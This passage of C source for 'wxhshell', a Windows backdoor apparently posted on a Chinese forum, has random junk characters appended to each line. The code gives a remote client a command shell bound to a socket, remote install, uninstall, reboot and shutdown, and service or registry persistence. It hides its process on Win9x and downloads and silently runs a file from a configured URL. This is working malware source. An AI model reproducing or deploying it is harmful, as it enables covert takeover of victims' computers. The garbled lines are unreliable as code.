  I*N"_uKU  
  // 帮助 -NJpql{Cb  
  case '?': { t/;0/ql\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )K{s^]Jp  
    break; Hnt*,C.0  
  } $b|LZE\bU.  
  // 安装 + kMj|()>\  
  case 'i': { 9iG&9tB@  
    if(Install()) 6 ^3RfF^W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o`c+eMwr(  
    else ~Tt@ v`}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,5$G0  
    break; Fy{yg]O"  
    } rByth,|  
  // 卸载 R278^E  
  case 'r': { N-upNuv  
    if(Uninstall()) [<53_2]~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eto"B"  
    else YAc:QVT87  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <ZSXOh,'  
    break; `w 6Qsah  
    } jcqUY+T$  
  // 显示 wxhshell 所在路径 M]PZwW8  
  case 'p': { @~$d4K y<  
    char svExeFile[MAX_PATH]; >}*W$i  
    strcpy(svExeFile,"\n\r"); :o8`2Z*g  
      strcat(svExeFile,ExeFile); Nb$0pc1J<  
        send(wsh,svExeFile,strlen(svExeFile),0); UAF$bR  
    break; #S?^?3d  
    } %8n<#0v-|4  
  // 重启 u*@R`,Y   
  case 'b': { /GGyM]k3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UH>~Y N  
    if(Boot(REBOOT)) 72Bc0Wg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); et+lL"&  
    else { B9NUafK=  
    closesocket(wsh); } 9\_s*  
    ExitThread(0); ?IAu,s*u  
    } `e,}7zGR  
    break; DD=X{{;D\"  
    } `$ f`55e  
  // 关机 9$$  Ijf  
  case 'd': { #` 3Q4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J-<P~9m~I  
    if(Boot(SHUTDOWN)) &pzL}/u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )L9eLxI  
    else { Trs~KcsD  
    closesocket(wsh); E'\gd7t ;  
    ExitThread(0); *}89.kCBF  
    } )(G<(eiD  
    break; tlQ6>v'  
    } W]eILCo  
  // 获取shell V5lUh#@TN&  
  case 's': { iO*5ClB  
    CmdShell(wsh); tM"vIz 05  
    closesocket(wsh); dQIF '==6  
    ExitThread(0);  t/t6o&  
    break; #|E#Rkw!  
  } 6ZI Pe~`  
  // 退出 01@ WU1IN  
  case 'x': { p?$N[-W6-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YWn""8p;P  
    CloseIt(wsh); Nmx\qJUR(  
    break; ` 1+*-g^r  
    } (m2%7f.I  
  // 离开 1SjVj9{:  
  case 'q': { q,ie)`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4S'e>:  
    closesocket(wsh); 9mHCms  
    WSACleanup(); /UunWZ u%  
    exit(1); &C MBTY#u  
    break; qWW\d' , .  
        } PWS8Dpb  
  } H'3 pHb  
  } S=P}Jpq?Y;  
 _:\rB  
  // 提示信息 Q(<A Yu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'G65zz  
} sBZn0h@  
  } E&J<qTH9  
|[n\'Xy;{  
  return; wm#(\dj  
} 6xx.Z3v  
g"sb0d9  
// shell模块句柄 w aniCE o  
int CmdShell(SOCKET sock) m)6 6g]F+  
{ Z]Xa:[  
STARTUPINFO si; qGag{E5!  
ZeroMemory(&si,sizeof(si)); Gs"lmX-{$j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |rJN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o% +w:u.  
PROCESS_INFORMATION ProcessInfo; gtH^'vFZ  
char cmdline[]="cmd"; U $#^ e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'E#L6,&  
  return 0; H 2I  
} x(u.(:V  
Q#yHH]U)X  
// 自身启动模式 H$ nzyooh  
int StartFromService(void) N_:!uR  
{ I`B ZZ-  
typedef struct W= NX$=il  
{ =?Ry,^=b  
  DWORD ExitStatus; =55)|$hgD  
  DWORD PebBaseAddress; ])y)]H#{  
  DWORD AffinityMask; ^) s6`:  
  DWORD BasePriority; #(qvhoi7lM  
  ULONG UniqueProcessId; @;9KP6d  
  ULONG InheritedFromUniqueProcessId; NUiv"tAY  
}   PROCESS_BASIC_INFORMATION; r^.9 |YM5  
8ZV!ld  
PROCNTQSIP NtQueryInformationProcess; K @&c  
#vK99 S2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9u=]D> kb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JT}"CuC  
x!I@cP#O  
  HANDLE             hProcess; ){/n7*#Th%  
  PROCESS_BASIC_INFORMATION pbi; t_I-6`8o]  
^'N!k{x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |7|'J Ty  
  if(NULL == hInst ) return 0; rk=w~IZJ3  
OkQ< Sc   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?_{{iil  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _@\-`>J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @&HLm^j2O  
IH*G7;  
  if (!NtQueryInformationProcess) return 0; -"yma_  
Dp*:oMATx0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @QJPcF"  
  if(!hProcess) return 0; i`9}">7v~  
&gV9h>Kc#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `Q+O#l?  
3J4OkwqD  
  CloseHandle(hProcess); uAYDX<Ja9  
( q*/=u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .gNJY7`b  
if(hProcess==NULL) return 0; H RahBTd(z  
BpFX e7  
HMODULE hMod; Y"5FK  
char procName[255]; @pvQci  
unsigned long cbNeeded; y1Br4K5C  
kazgI>"Q8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I&8!V)r)  
Wf:X) S7  
  CloseHandle(hProcess); "JF   
siuDg,uqK5  
if(strstr(procName,"services")) return 1; // 以服务启动 :ldI1*@i<  
3KD:JKn^  
  return 0; // 注册表启动 sFfargl  
} \SmYxdU'>  
<vg|8-,#m  
// 主模块 NSRY(#3  
int StartWxhshell(LPSTR lpCmdLine) +;@R&Y  
{ Xa}y.qH  
  SOCKET wsl; h _c11#  
BOOL val=TRUE; j*VYUM@y1\  
  int port=0; IL&R&8'  
  struct sockaddr_in door; s*CBYzOm  
Ki :98a$  
  if(wscfg.ws_autoins) Install(); OpOR!  
5 a&a-(  
port=atoi(lpCmdLine); r,,*kE  
R=NK3iGTf  
if(port<=0) port=wscfg.ws_port; 4tiCxf)  
V,7Xeh(+5L  
  WSADATA data; kU)E-h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L{f0r!d|  
Ov:U3P?%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   coXm*X>z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d8jP@>  
  door.sin_family = AF_INET; #R= 6$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O[}2  
  door.sin_port = htons(port); cpq0' x\  
5n2}|V$VqP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NUY sQO)  
closesocket(wsl); 7B gA+Fz  
return 1; >y@3`u]  
} Qz A)HDQ  
iaaD1 <m  
  if(listen(wsl,2) == INVALID_SOCKET) { 40LA G  
closesocket(wsl); 1B`0.M'd  
return 1; SI l<\  
} ;cZ]^kof  
  Wxhshell(wsl); `{@?O%UB  
  WSACleanup(); 75H5{#)  
ZnB|vfL?  
return 0; WB|SXto%4D  
#w]:<R^  
} L5>.ku=T  
,OO0*%  
// 以NT服务方式启动 e,0Gc-X[B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d,).O  
{ Zh.9j7 >p  
DWORD   status = 0; kF *^" Cn  
  DWORD   specificError = 0xfffffff; Y]1b3 9O  
Si%K|$?@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; & AlX).  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9k!#5_ M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d\aU rsPn  
  serviceStatus.dwWin32ExitCode     = 0; ur`:wR] 2?  
  serviceStatus.dwServiceSpecificExitCode = 0; 1=%\4\  
  serviceStatus.dwCheckPoint       = 0; oBTRO0.s+  
  serviceStatus.dwWaitHint       = 0; f qU*y 6]  
{p(.ck ze+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G8oOFBQD  
  if (hServiceStatusHandle==0) return; . B9rG~  
$q;dsW,8  
status = GetLastError(); fg1["{\  
  if (status!=NO_ERROR) w;Na9tR  
{ @RF !p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kC)ye"r  
    serviceStatus.dwCheckPoint       = 0; 5*pCb,z>q  
    serviceStatus.dwWaitHint       = 0; _/5mgn<GK  
    serviceStatus.dwWin32ExitCode     = status; ]\<^rEU  
    serviceStatus.dwServiceSpecificExitCode = specificError; q\g|K3V)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pTlNJ!U>  
    return; J0M7f]  
  } xTW$9>@\m  
@9^ozgg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RE(R5n28,  
  serviceStatus.dwCheckPoint       = 0; >;.'$-  
  serviceStatus.dwWaitHint       = 0; e 03q9(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q}M% \v  
} U_HOfix  
gUB%6vG\I  
// 处理NT服务事件,比如:启动、停止 B6iH[dTy_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EI*B(  
{ ;X ]+r$_  
switch(fdwControl) {WJ+6!v  
{ @exeHcW61  
case SERVICE_CONTROL_STOP: |BGQ|7DyG  
  serviceStatus.dwWin32ExitCode = 0; [' ~B &  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |P si?'4  
  serviceStatus.dwCheckPoint   = 0; d tw4cG  
  serviceStatus.dwWaitHint     = 0; .>0j<|~  
  { ShdE!q7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =r=YV-D.  
  } EencMi7J  
  return; c-L1 Bkw  
case SERVICE_CONTROL_PAUSE: B6&;nU>;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1o. O]>  
  break; oZkjg3  
case SERVICE_CONTROL_CONTINUE: YzqUOMAt"V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I65W^b4y  
  break; gUs.D_*  
case SERVICE_CONTROL_INTERROGATE: 0?KY9  
  break; T\VKNEBo  
}; xG JX~)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]kQ*t{\  
} I dsPB)k_  
Qx-/t9`!Z  
// 标准应用程序主函数 eot]VO:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g?.ls{H  
{ 3?F*|E_  
"#d>3M_  
// 获取操作系统版本 RCSG.*%%I  
OsIsNt=GetOsVer(); 0>?%{Xy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d|!FI/  
2HNKq<  
  // 从命令行安装 :nZVP_d+  
  if(strpbrk(lpCmdLine,"iI")) Install(); )_eEM1  
a7+w)]r  
  // 下载执行文件 G=R`O1-3  
if(wscfg.ws_downexe) { ~ [ k0ay  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 88]V6Rm9[*  
  WinExec(wscfg.ws_filenam,SW_HIDE); nm)H\i  
} );o2e V  
3":vjDq$  
if(!OsIsNt) { U_t[J|  
// 如果时win9x,隐藏进程并且设置为注册表启动 p.1@4kgK&r  
HideProc(); 6ge,2[PU  
StartWxhshell(lpCmdLine); 'O%itCy)  
} 1 PL2[_2:  
else R_IUuz$e  
  if(StartFromService()) WC6yQSnY&  
  // 以服务方式启动 0x&-/qce6W  
  StartServiceCtrlDispatcher(DispatchTable); $l05VZ  
else ' U]\]Wp  
  // 普通方式启动 k1l\Rywp  
  StartWxhshell(lpCmdLine); {z~n`ow  
l`S2bb6uMR  
return 0; TR;"&'#k  
}
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只看该作者 1 发表于: 2006-10-10
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